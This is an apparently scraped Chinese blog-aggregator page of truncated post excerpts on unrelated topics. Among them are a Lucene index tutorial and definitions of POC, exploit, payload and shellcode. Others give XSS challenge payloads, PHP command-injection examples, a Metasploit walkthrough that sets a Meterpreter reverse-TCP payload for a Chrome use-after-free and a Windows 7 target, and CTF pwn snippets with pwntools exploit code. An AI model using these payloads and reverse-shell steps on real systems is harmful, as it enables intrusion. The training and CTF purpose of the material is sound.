payload

渗透中POC、EXP、Payload与Shellcode的区别

和自甴很熟 提交于 2020-03-01 16:50:28
参考: https://blog.csdn.net/weixin_43625577/article/details/92643949 1. POC、EXP、Payload与Shellcode POC:全称 ' Proof of Concept ',中文 ' 概念验证 ' ,常指一段漏洞证明的代码。 EXP:全称 ' Exploit ',中文 ' 利用 ',指利用系统漏洞进行攻击的动作。 Payload:中文 ' 有效载荷 ',指成功exploit之后,真正在目标系统执行的代码或指令。 Shellcode:简单翻译 ' shell代码 ',是Payload的一种,由于其建立正向/反向shell而得名。 2. 几点注意 POC是用来证明漏洞存在的,EXP是用来利用漏洞的,两者通常不是一类,或者说,PoC通常是无害的,Exp通常是有害的,有了POC,才有EXP。 Payload有很多种,它可以是Shellcode,也可以直接是一段系统命令。同一个Payload可以用于多个漏洞,但每个漏洞都有其自己的EXP,也就是说不存在通用的EXP。 Shellcode也有很多种,包括正向的,反向的,甚至meterpreter。 Shellcode与Shellshcok不是一个,Shellshock特指14年发现的Shellshock漏洞。 3. Payload模块 在Metasploit

Lucene的索引文件格式(1)

醉酒当歌 提交于 2020-03-01 03:38:39
Lucene学习总结之三:Lucene的索引文件格式(1) Lucene的索引里面存了些什么,如何存放的,也即Lucene的索引文件格式,是读懂Lucene源代码的一把钥匙。 当我们真正进入到Lucene源代码之中的时候,我们会发现: Lucene的索引过程,就是按照全文检索的基本过程,将倒排表写成此文件格式的过程。 Lucene的搜索过程,就是按照此文件格式将索引进去的信息读出来,然后计算每篇文档打分(score)的过程。 一、基本概念 下图就是Lucene生成的索引的一个实例: Lucene的索引结构是有层次结构的,主要分以下几个层次: 索引(Index): 在Lucene中一个索引是放在一个文件夹中的。 如上图,同一文件夹中的所有的文件构成一个Lucene索引。 段(Segment): 一个索引可以包含多个段,段与段之间是独立的,添加新文档可以生成新的段,不同的段可以合并。 如上图,具有相同前缀文件的属同一个段,图中共两个段 "_0" 和 "_1"。 segments.gen和segments_5是段的元数据文件,也即它们保存了段的属性信息。 文档(Document): 文档是我们建索引的基本单位,不同的文档是保存在不同的段中的,一个段可以包含多篇文档。 新添加的文档是单独保存在一个新生成的段中,随着段的合并,不同的文档合并到同一个段中。 域(Field):

命令执行漏洞

风格不统一 提交于 2020-02-28 19:46:56
命令执行漏洞原理 命令执行漏洞是指应用有时需要调用一些执行系统命令的函数,如:system()、exec()、shell_exec()、eval()、passthru()等函数,代码未对用户可控参数做过滤,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击。 命令执行漏洞应用例子: 日常的网络访问中,我们常常可以看到某些Web网站具有执行系统命令的功能,比如:有些网站提供ping功能,我们可以输入一个IP地址,它就会帮我们去尝试ping目标的IP地址,而我们则可以看到执行结果。 但是如果用户没有遵循网站的本意,而去输入精心构造的指令,可能会对网站本身的功能逻辑产生逆转,导致让目标网站执行恶意命令。 恶意用户通过将恶意系统命令拼接到正常命令中,让网站执行恶意命令 命令执行漏洞产生条件 用户可控:可以控制输入的内容 后台执行:用户输入的内容被当作命令执行 命令执行常用函数 一:反撇号:` ` ` `输出并返回shell结果 相当于exec的效果 1 payload:echo `whoami` 二:system() system() 输出并返回最后一行shell结果 1 payload:system('whoami') 三:passthru() 只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。 1 payload:passthru(

CVE-2019-5786漏洞复现

流过昼夜 提交于 2020-02-28 14:46:58
漏洞影响范围: CVE-2019-5786适用于Windows 7 x86的Chrome 72.0.3626.119稳定FileReader UaF攻击。 环境 kali win7 x86 Google_Chrome_(32bit)_v72.0.3626.119 复现 kali启动msf,搜索chrome_filereader利用模块 root@kali:~# msfconsole -q msf5 > search chrome_filereader 选择模块,查看模块信息 msf5 > use exploit/windows/browser/chrome_filereader_uaf msf5 exploit(windows/browser/chrome_filereader_uaf) > info 漏洞介绍 选择payload msf5 exploit(windows/browser/chrome_filereader_uaf) > set payload windows/meterpreter/reverse_tcp 设置payload参数,LHOST设置为kali ip msf5 exploit(windows/browser/chrome_filereader_uaf) > set URIPATH / msf5 exploit(windows/browser/chrome

when_did_you_born-瞟来的wp

守給你的承諾、 提交于 2020-02-28 01:56:04
继上文,这次开始嫖 when_did_you_born这题。前面的步骤大致是一样的就不赘述了,直接到代码分析。 字符串 这次呢在main函数处 按下F5进入调试 查看反汇编代码 可以清楚的看到它的逻辑一开始不能让它判断出是1926,否则就会出错,接着呢再输入名字后判断是否是1926,是的话就返回flag,否则就出去。 所以里要进行一下溢出操作直接越过第一次的判断。观察代码中的溢出点,发现get(&v5)这个地方可以作为溢出点(get函数没有做任何限制),只需要在输入v5(name)的时候覆盖掉原来的v6的值,替换为1926即可达到目的,cat flag 首先我们查看v5和v6差了多少字节。 这里分别双击v5和v6判断位置在哪, 这里呢我们在双击v6的时候发现出现在var_8的地方,而v5出现在var_18的位置。可能有些不理解,大家可以这样想,从起始的位置var_20到var_18的位置是v5的所分配的内部空间,既然我想去执行v6的内容那么我们就需要去覆盖掉v5,让程序认为这条路是从var_18开始的。所以这里所要的填充空间就为v5的空间8个字节。 下面是两种方式 from pwn import * p=process('when') p.sendafter('Your Birth?',str(0)+'\n') p.sendafter(' Your Name?','a'*8+p64

kali玩的好 局子进的早

廉价感情. 提交于 2020-02-27 16:04:14
前言 在众多Linux发行版本中,最受人们(hk)喜爱的莫过于kali Linux 至于为啥呢,且听小编细细道来 说正事 如何利用kali入侵Windows 测试准备 在本次测试中,我们准备了如下两台机器 1.运行Kali Linux的源机器 2.运行windows 7的目标机器 在这里win 7版本为32位sp1 1:创建 Payload 程序 Payload 是一个类似于病毒或者木马的程序,可以运行在远程目标上。 我们可以通过以下命令来创建 Payload(program.exe): 通过 ls 命令,我们可以确认 Payload 程序是否成功生成在指定的位置。 创建完成后,可以通过Is命令来确认生成是否成功。 2:启动 msf 命令窗口 通过运行mfsconsole命令来启动msf命令窗口: 3:选择可利用的漏洞 4444 端口:你可以按照自己的想法来选择使用哪个端口 LHOST IP:表示 Kali Linux 机器的 IP,本例中是192.168.189.128。 使用如下命令来查看你的 Kali Linux 机器的IP: 现在在 msf 命令窗口使用 use exploit/multi/handler 命令,如下: 然后在接下来的命令窗口中使用命令 set payload 现在使用 LHOST 和 LPORT 来设置本地 IP 和本地端口,如下: 最后使用

Msfconsole中set payload命令最新改进

让人想犯罪 __ 提交于 2020-02-27 07:39:11
Msfconsole中set payload命令最新改进 为了方便用户的输入,Msfconsole改进了set payload命令的输入。在执行set payload命令时,可以使用三种前缀,分别是/payload、payload、和/。或者,不使用任何前缀,直接指定攻击载荷路径即可。其中,可以执行的四种方式如下所示: (1)msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload /payload/windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp (2)msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload payload/windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp (3)msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload /windows/x64/meterpreter/reverse_tcp payload => windows/x64

xss练习闯关

被刻印的时光 ゝ 提交于 2020-02-26 18:53:30
https://xss.haozi.me/ 0x00 无任何限制 payload如下: <script>alert("liuxixi")</script> 0x01 先输入xxx发现就存在于<textarea></textarea>之前显示,那么我们需要把前后进行闭合,最后才会显示我们输入的内容。 payload如下: </textarea><script>alert("liuxixi1")</script><textarea> 0x02 先输入xxx发现输的内容在双引号内,发现前面有三个双引号,那么肯定是没有闭合。 构造payload。闭合前面的双引号,这里需要注意的是input前面的 < 也要闭合。 payload如下: "><script>alert("liuxixi2")</script><" 0x03 查看后端代码,发现过滤了(),那么我们同样可以用反引号来代替()就行了 payload如下: <script>alert`liuxixi3`</script> 0x05 同样的方法,输入xxx发现输入内容存在于<!-- -->之间,那么我们还是将前后进行闭合,最终显示我们输入的内容。 payload如下: --!><script>alert("liuxixi5")</script><-- 0x06 我们输入前面任意一个payload,发现 > 会变成 _ 符号。

roarctf_2019_easy_pwn

♀尐吖头ヾ 提交于 2020-02-26 15:23:32
这篇博客主要记录当直接在malloc_hook中直接写入one_gadget不起作用时的一些处理方法。题目附件:https://buuoj.cn/challenges#roarctf_2019_easy_pwn 题目分析: 题目提供了 Create , Write , Drop , Show 四个函数,其中Write函数存在 off by one 漏洞 利用思路: 利用 off by one 修改 chunk 的 size 达到 overlap 的目的 这道题目的难点在于向 malloc_hook 中写入的 one_gadget 全部失效。在一番苦思后我决定看看大佬的博客,现记录一下其中的处理方法: 解法一: 在 malloc_hook 附近构造 fake_chunk ,通过修改 fastbin 中的 chunk 的 fd 指针把 fake_chunk 放入 fastbin 中,然后在分配出去 修改 main_arean 中 top_chunk 的地址为 free_hook 附近 分配 chunk 控制 free_hook 这一步有两个选择,一是向 free_hook 中写入 one_gadget ,二是向 free_hook 中写入 system exp如下: from pwn import * from LibcSearcher import * context(os =

JarvisOJ (pwn)guess

删除回忆录丶 提交于 2020-02-26 14:50:27
先看一下函数结构: main: int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { struct sockaddr addr; // [rsp+0h] [rbp-20h] __pid_t v4; // [rsp+14h] [rbp-Ch] int v5; // [rsp+18h] [rbp-8h] int fd; // [rsp+1Ch] [rbp-4h] fd = socket(2, 1, 0); if ( fd == -1 ) { perror("unable to create server socket"); exit(1); } *&addr.sa_family = 0LL; *&addr.sa_data[6] = 0LL; addr.sa_family = 2; *addr.sa_data = htons(0x270Fu); if ( bind(fd, &addr, 0x10u) ) { perror("unable to bind socket"); exit(1); } if ( listen(fd, 16) ) { perror("deaf"); exit(1); } while ( 1 ) { while ( 1 ) { v5 = accept(fd, 0LL